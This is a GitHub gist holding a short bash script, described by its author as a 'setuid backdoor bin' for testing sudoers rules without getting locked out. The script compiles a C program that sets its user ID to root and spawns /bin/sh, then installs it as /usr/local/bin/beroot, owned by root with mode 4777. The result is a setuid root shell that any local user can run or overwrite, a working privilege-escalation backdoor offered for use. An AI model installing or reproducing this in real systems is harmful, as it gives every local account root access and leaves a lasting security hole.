Skip to content

Instantly share code, notes, and snippets.

@craig-m-unsw
Created February 14, 2020 03:23
Show Gist options
  • Save craig-m-unsw/f9fd9b031c4d2cbc06228aa073208174 to your computer and use it in GitHub Desktop.
Save craig-m-unsw/f9fd9b031c4d2cbc06228aa073208174 to your computer and use it in GitHub Desktop.
A setuid backdoor bin. Useful when testing sudoers rules etc and you do not want to get locked out of root.
#!/bin/bash
# Create a bin for privilege escalation.
where_gcc=$(which gcc || exit 1)
TMPFILE="devtest.c"
FILEDEST="/usr/local/bin/beroot"
TMPDIR=$(mktemp -d)
CURWD=$(pwd)
cd $TMPDIR || exit 1;
# create suid laucher c
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPFILE
# compile
$where_gcc $TMPFILE -o suid 2>/dev/null
rm -f $TMPFILE
sudo chown root:root suid
sudo chmod 4777 suid
sudo mv -v suid $FILEDEST
cd $CURWD
# clean up
rm -rf -- $TMPDIR
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment